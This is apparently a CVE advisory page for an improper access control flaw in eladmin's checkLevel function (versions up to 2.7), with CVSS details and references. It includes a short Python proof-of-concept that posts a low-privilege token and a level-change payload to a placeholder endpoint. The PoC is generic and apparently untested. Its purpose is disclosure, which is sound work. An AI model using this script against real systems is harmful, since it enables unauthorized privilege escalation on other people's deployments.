CVE-2026-8127

Description

A vulnerability has been found in eladmin up to 2.7. Impacted is the function checkLevel of the file /rest/UserController.java of the component Users API Endpoint. Such manipulation leads to improper access controls. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

eladmin <= 2.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
target_url = "http://target-eladmin-domain/api/users/checkLevel"

# Attacker's low-privilege token
auth_token = "eyJhbGciOiJIUzUxMiJ9..."

headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/json"
}

# Malicious payload attempting to access restricted function
payload = {
    "level": 1,
    "userId": 1 
}

try:
    response = requests.post(target_url, json=payload, headers=headers)
    if response.status_code == 200:
        print("[+] Exploit successful! Access control bypassed.")
        print(f"[+] Response: {response.text}")
    else:
        print("[-] Exploit failed.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8127
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8127
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8127/
[4] VulDB https://vuldb.com/cve/CVE-2026-8127
[5] https://github.com/elunez/eladmin/issues/897
[6] https://vuldb.com/submit/808771
[7] https://vuldb.com/vuln/361917
[8] https://vuldb.com/vuln/361917/cti

Raw JSON Data

JSON

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